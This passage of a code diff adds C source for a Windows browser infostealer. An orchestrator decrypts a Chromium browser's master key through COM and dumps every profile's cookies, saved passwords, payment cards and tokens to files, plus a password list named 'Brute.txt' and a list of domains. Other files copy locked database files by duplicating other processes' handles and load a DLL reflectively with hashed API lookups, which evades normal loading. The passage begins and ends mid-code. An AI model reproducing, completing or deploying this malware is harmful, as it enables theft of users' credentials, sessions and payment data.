||||||
|
const uint8_t* key_blob = sqlite3_column_blob(stmt, 2);
|
||||||
|
int key_len = sqlite3_column_bytes(stmt, 2);
|
||||||
|
|
||||||
|
if (key_blob && key_len > 0) {
|
||||||
|
ByteBuffer* plain_key = decrypt_gcm(ctx->aes_key, ctx->key_len, key_blob, key_len);
|
||||||
|
if (plain_key) {
|
||||||
|
snprintf(binding_key_str, sizeof(binding_key_str), "%.*s", (int)plain_key->size, plain_key->data);
|
||||||
|
buffer_destroy(plain_key);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
char* service = escape_json_string((const char*)sqlite3_column_text(stmt, 0));
|
||||||
|
char* token_esc = escape_json_string(token_str);
|
||||||
|
char* binding_esc = escape_json_string(binding_key_str);
|
||||||
|
|
||||||
|
char json[MAX_JSON_LEN];
|
||||||
|
snprintf(json, sizeof(json), " {\"service\":\"%s\",\"token\":\"%s\",\"binding_key\":\"%s\"}", service, token_esc, binding_esc);
|
||||||
|
string_array_add(results, json);
|
||||||
|
|
||||||
|
free(service);
|
||||||
|
free(token_esc);
|
||||||
|
free(binding_esc);
|
||||||
|
free(token_str);
|
||||||
|
}
|
||||||
|
|
||||||
|
sqlite3_finalize(stmt);
|
||||||
|
sqlite3_close(db);
|
||||||
|
|
||||||
|
return results;
|
||||||
|
}
|
||||||
+220
@@ -0,0 +1,220 @@
|
|||||||
|
#include "handle_duplicator.h"
|
||||||
|
#include <winternl.h>
|
||||||
|
#include <RestartManager.h>
|
||||||
|
#include <stdio.h>
|
||||||
|
|
||||||
|
#pragma comment(lib, "Rstrtmgr.lib")
|
||||||
|
|
||||||
|
typedef NTSTATUS(NTAPI* NtQueryObject_t)(
|
||||||
|
HANDLE Handle,
|
||||||
|
ULONG ObjectInformationClass,
|
||||||
|
PVOID ObjectInformation,
|
||||||
|
ULONG ObjectInformationLength,
|
||||||
|
PULONG ReturnLength
|
||||||
|
);
|
||||||
|
|
||||||
|
#define ObjectNameInformation 1
|
||||||
|
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
|
||||||
|
|
||||||
|
typedef struct _OBJECT_NAME_INFORMATION {
|
||||||
|
UNICODE_STRING Name;
|
||||||
|
WCHAR NameBuffer[1];
|
||||||
|
} OBJECT_NAME_INFORMATION, * POBJECT_NAME_INFORMATION;
|
||||||
|
|
||||||
|
static bool get_processes_using_file(const wchar_t* file_path, DWORD* pids, DWORD* pid_count, DWORD max_pids) {
|
||||||
|
DWORD session;
|
||||||
|
WCHAR session_key[CCH_RM_SESSION_KEY + 1] = { 0 };
|
||||||
|
DWORD error;
|
||||||
|
|
||||||
|
error = RmStartSession(&session, 0, session_key);
|
||||||
|
if (error != ERROR_SUCCESS) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
LPCWSTR file_paths[1] = { file_path };
|
||||||
|
error = RmRegisterResources(session, 1, file_paths, 0, NULL, 0, NULL);
|
||||||
|
|
||||||
|
if (error != ERROR_SUCCESS) {
|
||||||
|
RmEndSession(session);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
DWORD reason;
|
||||||
|
UINT proc_info_needed;
|
||||||
|
UINT proc_info_count = 10;
|
||||||
|
RM_PROCESS_INFO* proc_info = (RM_PROCESS_INFO*)malloc(sizeof(RM_PROCESS_INFO) * proc_info_count);
|
||||||
|
|
||||||
|
if (!proc_info) {
|
||||||
|
RmEndSession(session);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
error = RmGetList(session, &proc_info_needed, &proc_info_count, proc_info, &reason);
|
||||||
|
|
||||||
|
if (error == ERROR_MORE_DATA) {
|
||||||
|
proc_info_count = proc_info_needed;
|
||||||
|
free(proc_info);
|
||||||
|
proc_info = (RM_PROCESS_INFO*)malloc(sizeof(RM_PROCESS_INFO) * proc_info_count);
|
||||||
|
|
||||||
|
if (!proc_info) {
|
||||||
|
RmEndSession(session);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
error = RmGetList(session, &proc_info_needed, &proc_info_count, proc_info, &reason);
|
||||||
|
}
|
||||||
|
|
||||||
|
bool found = false;
|
||||||
|
if (error == ERROR_SUCCESS && proc_info_count > 0) {
|
||||||
|
DWORD count = proc_info_count < max_pids ? proc_info_count : max_pids;
|
||||||
|
for (UINT i = 0; i < count; i++) {
|
||||||
|
pids[i] = proc_info[i].Process.dwProcessId;
|
||||||
|
}
|
||||||
|
*pid_count = count;
|
||||||
|
found = true;
|
||||||
|
}
|
||||||
|
|
||||||
|
free(proc_info);
|
||||||
|
RmEndSession(session);
|
||||||
|
return found;
|
||||||
|
}
|
||||||
|
|
||||||
|
static bool get_file_handle_from_process(DWORD pid, const wchar_t* file_path, HANDLE* out_handle) {
|
||||||
|
HANDLE process = OpenProcess(PROCESS_DUP_HANDLE, FALSE, pid);
|
||||||
|
if (!process) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
HMODULE ntdll = GetModuleHandleW(L"ntdll.dll");
|
||||||
|
if (!ntdll) {
|
||||||
|
CloseHandle(process);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
NtQueryObject_t pNtQueryObject = (NtQueryObject_t)GetProcAddress(ntdll, "NtQueryObject");
|
||||||
|
if (!pNtQueryObject) {
|
||||||
|
CloseHandle(process);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
wchar_t normalized_path[MAX_PATH];
|
||||||
|
if (!GetFullPathNameW(file_path, MAX_PATH, normalized_path, NULL)) {
|
||||||
|
CloseHandle(process);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
for (wchar_t* p = normalized_path; *p; p++) {
|
||||||
|
*p = towlower(*p);
|
||||||
|
}
|
||||||
|
|
||||||
|
bool found = false;
|
||||||
|
HANDLE current_process = GetCurrentProcess();
|
||||||
|
|
||||||
|
for (DWORD handle_value = 4; handle_value < 0x10000; handle_value += 4) {
|
||||||
|
HANDLE dup_handle = NULL;
|
||||||
|
|
||||||
|
if (!DuplicateHandle(process, (HANDLE)(ULONG_PTR)handle_value, current_process,
|
||||||
|
&dup_handle, 0, FALSE, DUPLICATE_SAME_ACCESS)) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
DWORD file_type = GetFileType(dup_handle);
|
||||||
|
if (file_type != FILE_TYPE_DISK) {
|
||||||
|
CloseHandle(dup_handle);
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
wchar_t handle_path[MAX_PATH] = { 0 };
|
||||||
|
DWORD path_len = GetFinalPathNameByHandleW(dup_handle, handle_path, MAX_PATH, FILE_NAME_NORMALIZED);
|
||||||
|
|
||||||
|
if (path_len > 0 && path_len < MAX_PATH) {
|
||||||
|
wchar_t* actual_path = handle_path;
|
||||||
|
if (wcsncmp(handle_path, L"\\\\?\\", 4) == 0) {
|
||||||
|
actual_path = handle_path + 4;
|
||||||
|
}
|
||||||
|
|
||||||
|
wchar_t handle_normalized[MAX_PATH];
|
||||||
|
if (GetFullPathNameW(actual_path, MAX_PATH, handle_normalized, NULL)) {
|
||||||
|
for (wchar_t* p = handle_normalized; *p; p++) {
|
||||||
|
*p = towlower(*p);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (wcscmp(handle_normalized, normalized_path) == 0) {
|
||||||
|
*out_handle = dup_handle;
|
||||||
|
found = true;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
CloseHandle(dup_handle);
|
||||||
|
}
|
||||||
|
|
||||||
|
CloseHandle(process);
|
||||||
|
return found;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool copy_locked_file(const wchar_t* source_path, const wchar_t* dest_path) {
|
||||||
|
DWORD pids[32];
|
||||||
|
DWORD pid_count = 0;
|
||||||
|
|
||||||
|
if (!get_processes_using_file(source_path, pids, &pid_count, 32)) {
|
||||||
|
if (CopyFileW(source_path, dest_path, FALSE)) {
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
HANDLE file_handle = NULL;
|
||||||
|
for (DWORD i = 0; i < pid_count; i++) {
|
||||||
|
if (get_file_handle_from_process(pids[i], source_path, &file_handle)) {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!file_handle) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
LARGE_INTEGER file_size;
|
||||||
|
if (!GetFileSizeEx(file_handle, &file_size)) {
|
||||||
|
CloseHandle(file_handle);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
BYTE* buffer = (BYTE*)malloc((size_t)file_size.QuadPart);
|
||||||
|
if (!buffer) {
|
||||||
|
CloseHandle(file_handle);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
SetFilePointer(file_handle, 0, NULL, FILE_BEGIN);
|
||||||
|
|
||||||
|
DWORD bytes_read = 0;
|
||||||
|
BOOL read_result = ReadFile(file_handle, buffer, (DWORD)file_size.QuadPart, &bytes_read, NULL);
|
||||||
|
|
||||||
|
CloseHandle(file_handle);
|
||||||
|
|
||||||
|
if (!read_result || bytes_read != file_size.QuadPart) {
|
||||||
|
free(buffer);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
HANDLE dest_file = CreateFileW(dest_path, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
|
||||||
|
if (dest_file == INVALID_HANDLE_VALUE) {
|
||||||
|
free(buffer);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
DWORD bytes_written = 0;
|
||||||
|
BOOL write_result = WriteFile(dest_file, buffer, bytes_read, &bytes_written, NULL);
|
||||||
|
|
||||||
|
CloseHandle(dest_file);
|
||||||
|
free(buffer);
|
||||||
|
|
||||||
|
if (!write_result || bytes_written != bytes_read) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
return true;
|
||||||
|
}
|
||||||
+292
@@ -0,0 +1,292 @@
|
|||||||
|
#include "orchestrator.h"
|
||||||
|
#include "browser.h"
|
||||||
|
#include "crypto.h"
|
||||||
|
#include "profile.h"
|
||||||
|
#include "extractor.h"
|
||||||
|
#include "buffer.h"
|
||||||
|
#include <Windows.h>
|
||||||
|
#include <ShlObj.h>
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <string.h>
|
||||||
|
|
||||||
|
bool orchestrator_init(OrchestratorConfig* config, const wchar_t* pipe_name) {
|
||||||
|
if (!config || !pipe_name) return false;
|
||||||
|
|
||||||
|
wcsncpy_s(config->pipe_name, 256, pipe_name, _TRUNCATE);
|
||||||
|
config->extract_fingerprint = false;
|
||||||
|
config->output_path[0] = L'\0';
|
||||||
|
|
||||||
|
config->pipe_handle = CreateFileW(pipe_name, GENERIC_READ | GENERIC_WRITE,
|
||||||
|
0, NULL, OPEN_EXISTING, 0, NULL);
|
||||||
|
|
||||||
|
if (config->pipe_handle == INVALID_HANDLE_VALUE) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
char buffer[MAX_PATH + 1];
|
||||||
|
DWORD bytes_read;
|
||||||
|
|
||||||
|
// skip first parameter then read fingerprint flag
|
||||||
|
ReadFile(config->pipe_handle, buffer, sizeof(buffer) - 1, &bytes_read, NULL);
|
||||||
|
ReadFile(config->pipe_handle, buffer, sizeof(buffer) - 1, &bytes_read, NULL);
|
||||||
|
buffer[bytes_read] = '\0';
|
||||||
|
config->extract_fingerprint = (strcmp(buffer, "FINGERPRINT_TRUE") == 0);
|
||||||
|
|
||||||
|
ReadFile(config->pipe_handle, buffer, sizeof(buffer) - 1, &bytes_read, NULL);
|
||||||
|
buffer[bytes_read] = '\0';
|
||||||
|
MultiByteToWideChar(CP_UTF8, 0, buffer, -1, config->output_path, MAX_PATH_LEN);
|
||||||
|
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
void orchestrator_cleanup(OrchestratorConfig* config) {
|
||||||
|
if (!config) return;
|
||||||
|
|
||||||
|
if (config->pipe_handle != INVALID_HANDLE_VALUE) {
|
||||||
|
const char* completion = "__DLL_PIPE_COMPLETION_SIGNAL__";
|
||||||
|
DWORD written;
|
||||||
|
WriteFile(config->pipe_handle, completion, (DWORD)strlen(completion), &written, NULL);
|
||||||
|
FlushFileBuffers(config->pipe_handle);
|
||||||
|
CloseHandle(config->pipe_handle);
|
||||||
|
config->pipe_handle = INVALID_HANDLE_VALUE;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
static void extract_password_from_json(const char* json, StringArray* passwords) {
|
||||||
|
const char* pwd_tag = "\"password\":\"";
|
||||||
|
char* pos = strstr(json, pwd_tag);
|
||||||
|
if (!pos) return;
|
||||||
|
|
||||||
|
pos += strlen(pwd_tag);
|
||||||
|
char* end = strchr(pos, '"');
|
||||||
|
if (!end) return;
|
||||||
|
|
||||||
|
size_t pwd_len = end - pos;
|
||||||
|
char* pwd = malloc(pwd_len + 1);
|
||||||
|
if (!pwd) return;
|
||||||
|
|
||||||
|
memcpy(pwd, pos, pwd_len);
|
||||||
|
pwd[pwd_len] = '\0';
|
||||||
|
|
||||||
|
if (!string_array_contains(passwords, pwd)) {
|
||||||
|
string_array_add(passwords, pwd);
|
||||||
|
}
|
||||||
|
free(pwd);
|
||||||
|
}
|
||||||
|
|
||||||
|
static void extract_domain_from_netscape(const char* netscape_line, StringArray* domains) {
|
||||||
|
char* domain_end = strchr(netscape_line, '\t');
|
||||||
|
if (!domain_end) return;
|
||||||
|
|
||||||
|
size_t domain_len = domain_end - netscape_line;
|
||||||
|
char* domain = malloc(domain_len + 1);
|
||||||
|
if (!domain) return;
|
||||||
|
|
||||||
|
memcpy(domain, netscape_line, domain_len);
|
||||||
|
domain[domain_len] = '\0';
|
||||||
|
|
||||||
|
char* clean_domain = domain;
|
||||||
|
if (clean_domain[0] == '.') clean_domain++;
|
||||||
|
|
||||||
|
if (!string_array_contains(domains, clean_domain)) {
|
||||||
|
string_array_add(domains, clean_domain);
|
||||||
|
}
|
||||||
|
free(domain);
|
||||||
|
}
|
||||||
|
|
||||||
|
static void write_brute_file(const wchar_t* output_path, StringArray* all_passwords) {
|
||||||
|
if (!output_path || !all_passwords) return;
|
||||||
|
|
||||||
|
wchar_t file_path[MAX_PATH_LEN];
|
||||||
|
swprintf_s(file_path, MAX_PATH_LEN, L"%s\\Brute.txt", output_path);
|
||||||
|
|
||||||
|
StringArray* unique = string_array_create(all_passwords->count);
|
||||||
|
if (!unique) return;
|
||||||
|
|
||||||
|
FILE* f = NULL;
|
||||||
|
if (_wfopen_s(&f, file_path, L"r") == 0 && f) {
|
||||||
|
char line[1024];
|
||||||
|
while (fgets(line, sizeof(line), f)) {
|
||||||
|
size_t len = strlen(line);
|
||||||
|
if (len > 0 && line[len - 1] == '\n') line[len - 1] = '\0';
|
||||||
|
if (len > 0) string_array_add(unique, line);
|
||||||
|
}
|
||||||
|
fclose(f);
|
||||||
|
}
|
||||||
|
|
||||||
|
for (size_t i = 0; i < all_passwords->count; i++) {
|
||||||
|
if (!string_array_contains(unique, all_passwords->items[i])) {
|
||||||
|
string_array_add(unique, all_passwords->items[i]);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (_wfopen_s(&f, file_path, L"w") == 0 && f) {
|
||||||
|
for (size_t i = 0; i < unique->count; i++) {
|
||||||
|
fprintf(f, "%s\n", unique->items[i]);
|
||||||
|
}
|
||||||
|
fclose(f);
|
||||||
|
}
|
||||||
|
|
||||||
|
string_array_destroy(unique);
|
||||||
|
}
|
||||||
|
|
||||||
|
static void write_domains_file(const wchar_t* output_path, StringArray* all_domains) {
|
||||||
|
if (!output_path || !all_domains) return;
|
||||||
|
|
||||||
|
wchar_t file_path[MAX_PATH_LEN];
|
||||||
|
swprintf_s(file_path, MAX_PATH_LEN, L"%s\\Domains.txt", output_path);
|
||||||
|
|
||||||
|
StringArray* unique = string_array_create(all_domains->count);
|
||||||
|
if (!unique) return;
|
||||||
|
|
||||||
|
FILE* f = NULL;
|
||||||
|
if (_wfopen_s(&f, file_path, L"r") == 0 && f) {
|
||||||
|
char line[1024];
|
||||||
|
while (fgets(line, sizeof(line), f)) {
|
||||||
|
size_t len = strlen(line);
|
||||||
|
if (len > 0 && line[len - 1] == '\n') line[len - 1] = '\0';
|
||||||
|
if (len > 0) string_array_add(unique, line);
|
||||||
|
}
|
||||||
|
fclose(f);
|
||||||
|
}
|
||||||
|
|
||||||
|
for (size_t i = 0; i < all_domains->count; i++) {
|
||||||
|
if (!string_array_contains(unique, all_domains->items[i])) {
|
||||||
|
string_array_add(unique, all_domains->items[i]);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (_wfopen_s(&f, file_path, L"w") == 0 && f) {
|
||||||
|
for (size_t i = 0; i < unique->count; i++) {
|
||||||
|
fprintf(f, "%s\n", unique->items[i]);
|
||||||
|
}
|
||||||
|
fclose(f);
|
||||||
|
}
|
||||||
|
|
||||||
|
string_array_destroy(unique);
|
||||||
|
}
|
||||||
|
|
||||||
|
bool orchestrator_run(OrchestratorConfig* config) {
|
||||||
|
if (!config) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
BrowserConfig browser_config;
|
||||||
|
if (!browser_get_config_for_process(&browser_config)) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
wchar_t user_data_path[MAX_PATH_LEN];
|
||||||
|
if (!browser_get_user_data_path(&browser_config, user_data_path, MAX_PATH_LEN)) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
wchar_t local_state_path[MAX_PATH_LEN];
|
||||||
|
swprintf_s(local_state_path, MAX_PATH_LEN, L"%s\\Local State", user_data_path);
|
||||||
|
|
||||||
|
ByteBuffer* encrypted_key = get_encrypted_master_key(local_state_path);
|
||||||
|
if (!encrypted_key) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
ByteBuffer* aes_key = decrypt_master_key_via_com(
|
||||||
|
&browser_config,
|
||||||
|
encrypted_key->data,
|
||||||
|
encrypted_key->size
|
||||||
|
);
|
||||||
|
buffer_destroy(encrypted_key);
|
||||||
|
|
||||||
|
if (!aes_key) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
ProfileList* profiles = profile_find_all(user_data_path);
|
||||||
|
if (!profiles) {
|
||||||
|
buffer_destroy(aes_key);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
StringArray* all_passwords = string_array_create(100);
|
||||||
|
StringArray* all_domains = string_array_create(500);
|
||||||
|
|
||||||
|
for (size_t i = 0; i < profiles->count; i++) {
|
||||||
|
ExtractionContext ctx = {
|
||||||
|
.profile_path = profiles->paths[i].path,
|
||||||
|
.output_base = config->output_path,
|
||||||
|
.browser_name = browser_config.name,
|
||||||
|
.aes_key = aes_key->data,
|
||||||
|
.key_len = aes_key->size
|
||||||
|
};
|
||||||
|
|
||||||
|
wchar_t profile_name[256];
|
||||||
|
wchar_t* last_slash = wcsrchr(profiles->paths[i].path, L'\\');
|
||||||
|
wcscpy_s(profile_name, 256, last_slash ? last_slash + 1 : L"Default");
|
||||||
|
|
||||||
|
wchar_t profile_output_dir[MAX_PATH_LEN];
|
||||||
|
swprintf_s(
|
||||||
|
profile_output_dir,
|
||||||
|
MAX_PATH_LEN,
|
||||||
|
L"%s\\%S\\%s",
|
||||||
|
config->output_path,
|
||||||
|
browser_config.name,
|
||||||
|
profile_name
|
||||||
|
);
|
||||||
|
|
||||||
|
SHCreateDirectoryExW(NULL, profile_output_dir, NULL);
|
||||||
|
|
||||||
|
StringArray* cookies = extract_cookies(&ctx);
|
||||||
|
if (cookies) {
|
||||||
|
if (cookies->count > 0) {
|
||||||
|
wchar_t out_path[MAX_PATH_LEN];
|
||||||
|
swprintf_s(out_path, MAX_PATH_LEN, L"%s\\cookies.txt", profile_output_dir);
|
||||||
|
|
||||||
|
if (write_netscape_cookies(out_path, cookies)) {
|
||||||
|
for (size_t j = 0; j < cookies->count; j++) {
|
||||||
|
extract_domain_from_netscape(cookies->items[j], all_domains);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
string_array_destroy(cookies);
|
||||||
|
}
|
||||||
|
|
||||||
|
StringArray* passwords = extract_passwords(&ctx);
|
||||||
|
if (passwords && passwords->count > 0) {
|
||||||
|
wchar_t out_path[MAX_PATH_LEN];
|
||||||
|
swprintf_s(out_path, MAX_PATH_LEN, L"%s\\passwords.json", profile_output_dir);
|
||||||
|
write_json_array(out_path, passwords);
|
||||||
|
|
||||||
|
for (size_t j = 0; j < passwords->count; j++) {
|
||||||
|
extract_password_from_json(passwords->items[j], all_passwords);
|
||||||
|
}
|
||||||
|
|
||||||
|
string_array_destroy(passwords);
|
||||||
|
}
|
||||||
|
|
||||||
|
StringArray* payments = extract_payments(&ctx);
|
||||||
|
if (payments && payments->count > 0) {
|
||||||
|
wchar_t out_path[MAX_PATH_LEN];
|
||||||
|
swprintf_s(out_path, MAX_PATH_LEN, L"%s\\payments.json", profile_output_dir);
|
||||||
|
write_json_array(out_path, payments);
|
||||||
|
string_array_destroy(payments);
|
||||||
|
}
|
||||||
|
|
||||||
|
StringArray* tokens = extract_tokens(&ctx);
|
||||||
|
if (tokens && tokens->count > 0) {
|
||||||
|
wchar_t out_path[MAX_PATH_LEN];
|
||||||
|
swprintf_s(out_path, MAX_PATH_LEN, L"%s\\tokens.json", profile_output_dir);
|
||||||
|
write_json_array(out_path, tokens);
|
||||||
|
string_array_destroy(tokens);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
write_brute_file(config->output_path, all_passwords);
|
||||||
|
write_domains_file(config->output_path, all_domains);
|
||||||
|
|
||||||
|
string_array_destroy(all_passwords);
|
||||||
|
string_array_destroy(all_domains);
|
||||||
|
profile_list_destroy(profiles);
|
||||||
|
buffer_destroy(aes_key);
|
||||||
|
|
||||||
|
cleanup_temp_files();
|
||||||
|
return true;
|
||||||
|
}
|
||||||
Executable
+54
@@ -0,0 +1,54 @@
|
|||||||
|
#include "profile.h"
|
||||||
|
#include "buffer.h"
|
||||||
|
#include <windows.h>
|
||||||
|
#include <stdio.h>
|
||||||
|
|
||||||
|
static bool profile_has_database(const wchar_t* profile_path, const wchar_t* db_relative_path) {
|
||||||
|
wchar_t full_path[MAX_PATH_LEN];
|
||||||
|
swprintf_s(full_path, MAX_PATH_LEN, L"%s\\%s", profile_path, db_relative_path);
|
||||||
|
|
||||||
|
DWORD attrs = GetFileAttributesW(full_path);
|
||||||
|
return (attrs != INVALID_FILE_ATTRIBUTES && !(attrs & FILE_ATTRIBUTE_DIRECTORY));
|
||||||
|
}
|
||||||
|
|
||||||
|
static bool is_profile_directory(const wchar_t* path) {
|
||||||
|
const wchar_t* check_paths[] = { L"Network\\Cookies", L"Login Data", L"Web Data" };
|
||||||
|
for (int i = 0; i < 3; i++) {
|
||||||
|
if (profile_has_database(path, check_paths[i])) return true;
|
||||||
|
}
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
ProfileList* profile_find_all(const wchar_t* user_data_root) {
|
||||||
|
ProfileList* list = profile_list_create(10);
|
||||||
|
if (!list) return NULL;
|
||||||
|
|
||||||
|
if (is_profile_directory(user_data_root)) {
|
||||||
|
profile_list_add(list, user_data_root);
|
||||||
|
}
|
||||||
|
|
||||||
|
wchar_t search_path[MAX_PATH_LEN];
|
||||||
|
swprintf_s(search_path, MAX_PATH_LEN, L"%s\\*", user_data_root);
|
||||||
|
|
||||||
|
WIN32_FIND_DATAW find_data;
|
||||||
|
HANDLE hFind = FindFirstFileW(search_path, &find_data);
|
||||||
|
|
||||||
|
if (hFind != INVALID_HANDLE_VALUE) {
|
||||||
|
do {
|
||||||
|
if (wcscmp(find_data.cFileName, L".") == 0 || wcscmp(find_data.cFileName, L"..") == 0)
|
||||||
|
continue;
|
||||||
|
|
||||||
|
if (find_data.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {
|
||||||
|
wchar_t current_path[MAX_PATH_LEN];
|
||||||
|
swprintf_s(current_path, MAX_PATH_LEN, L"%s\\%s", user_data_root, find_data.cFileName);
|
||||||
|
|
||||||
|
if (is_profile_directory(current_path)) {
|
||||||
|
profile_list_add(list, current_path);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} while (FindNextFileW(hFind, &find_data));
|
||||||
|
FindClose(hFind);
|
||||||
|
}
|
||||||
|
|
||||||
|
return list;
|
||||||
|
}
|
||||||
+265
@@ -0,0 +1,265 @@
|
|||||||
|
#include <windows.h>
|
||||||
|
#include "reflective_loader.h"
|
||||||
|
|
||||||
|
#ifdef _MSC_VER
|
||||||
|
#pragma intrinsic(_ReturnAddress)
|
||||||
|
#pragma intrinsic(_rotr)
|
||||||
|
#define NOINLINE __declspec(noinline)
|
||||||
|
#else
|
||||||
|
#define NOINLINE __attribute__((noinline))
|
||||||
|
#endif
|
||||||
|
|
||||||
|
static DWORD ror_dword_loader(DWORD d)
|
||||||
|
{
|
||||||
|
#ifdef _MSC_VER
|
||||||
|
return _rotr(d, HASH_KEY);
|
||||||
|
#else
|
||||||
|
return (d >> HASH_KEY) | (d << (32 - HASH_KEY));
|
||||||
|
#endif
|
||||||
|
}
|
||||||
|
|
||||||
|
static DWORD hash_string_loader(char *c)
|
||||||
|
{
|
||||||
|
DWORD h = 0;
|
||||||
|
do
|
||||||
|
{
|
||||||
|
h = ror_dword_loader(h);
|
||||||
|
h += *c;
|
||||||
|
} while (*++c);
|
||||||
|
return h;
|
||||||
|
}
|
||||||
|
|
||||||
|
NOINLINE ULONG_PTR GetIp(VOID)
|
||||||
|
{
|
||||||
|
#ifdef _MSC_VER
|
||||||
|
return (ULONG_PTR)_ReturnAddress();
|
||||||
|
#else
|
||||||
|
return (ULONG_PTR)__builtin_return_address(0);
|
||||||
|
#endif
|
||||||
|
}
|
||||||
|
|
||||||
|
DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader(LPVOID lpLoaderParameter)
|
||||||
|
{
|
||||||
|
LOADLIBRARYA_FN fnLoadLibraryA = NULL;
|
||||||
|
GETPROCADDRESS_FN fnGetProcAddress = NULL;
|
||||||
|
VIRTUALALLOC_FN fnVirtualAlloc = NULL;
|
||||||
|
NTFLUSHINSTRUCTIONCACHE_FN fnNtFlushInstructionCache = NULL;
|
||||||
|
|
||||||
|
ULONG_PTR uiDllBase;
|
||||||
|
ULONG_PTR uiPeb;
|
||||||
|
ULONG_PTR uiKernel32Base = 0;
|
||||||
|
ULONG_PTR uiNtdllBase = 0;
|
||||||
|
|
||||||
|
PIMAGE_NT_HEADERS pNtHeaders_current;
|
||||||
|
PIMAGE_DOS_HEADER pDosHeader_current;
|
||||||
|
|
||||||
|
uiDllBase = GetIp();
|
||||||
|
|
||||||
|
while (TRUE)
|
||||||
|
{
|
||||||
|
pDosHeader_current = (PIMAGE_DOS_HEADER)uiDllBase;
|
||||||
|
if (pDosHeader_current->e_magic == IMAGE_DOS_SIGNATURE)
|
||||||
|
{
|
||||||
|
pNtHeaders_current = (PIMAGE_NT_HEADERS)(uiDllBase + pDosHeader_current->e_lfanew);
|
||||||
|
if (pNtHeaders_current->Signature == IMAGE_NT_SIGNATURE)
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
uiDllBase--;
|
||||||
|
}
|
||||||
|
|
||||||
|
#if defined(_M_X64)
|
||||||
|
uiPeb = __readgsqword(0x60);
|
||||||
|
#elif defined(_M_ARM64)
|
||||||
|
uiPeb = __readx18qword(0x60);
|
||||||
|
#else
|
||||||
|
return 0;
|
||||||
|
#endif
|
||||||
|
|
||||||
|
PPEB_LDR_DATA_LDR pLdr = ((PPEB_LDR)uiPeb)->Ldr;
|
||||||
|
PLIST_ENTRY pModuleList = &(pLdr->InMemoryOrderModuleList);
|
||||||
|
PLIST_ENTRY pCurrentEntry = pModuleList->Flink;
|
||||||
|
|
||||||
|
while (pCurrentEntry != pModuleList && (!uiKernel32Base || !uiNtdllBase))
|
||||||
|
{
|
||||||
|
PLDR_DATA_TABLE_ENTRY_LDR pEntry = (PLDR_DATA_TABLE_ENTRY_LDR)CONTAINING_RECORD(pCurrentEntry, LDR_DATA_TABLE_ENTRY_LDR, InMemoryOrderLinks);
|
||||||
|
if (pEntry->BaseDllName.Length > 0 && pEntry->BaseDllName.Buffer != NULL)
|
||||||
|
{
|
||||||
|
DWORD dwModuleHash = 0;
|
||||||
|
USHORT usCounter = pEntry->BaseDllName.Length;
|
||||||
|
BYTE *pNameByte = (BYTE *)pEntry->BaseDllName.Buffer;
|
||||||
|
|
||||||
|
do
|
||||||
|
{
|
||||||
|
dwModuleHash = ror_dword_loader(dwModuleHash);
|
||||||
|
if (*pNameByte >= 'a' && *pNameByte <= 'z')
|
||||||
|
{
|
||||||
|
dwModuleHash += (*pNameByte - 0x20);
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
dwModuleHash += *pNameByte;
|
||||||
|
}
|
||||||
|
pNameByte++;
|
||||||
|
} while (--usCounter);
|
||||||
|
|
||||||
|
if (dwModuleHash == KERNEL32DLL_HASH)
|
||||||
|
{
|
||||||
|
uiKernel32Base = (ULONG_PTR)pEntry->DllBase;
|
||||||
|
}
|
||||||
|
else if (dwModuleHash == NTDLLDLL_HASH)
|
||||||
|
{
|
||||||
|
uiNtdllBase = (ULONG_PTR)pEntry->DllBase;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
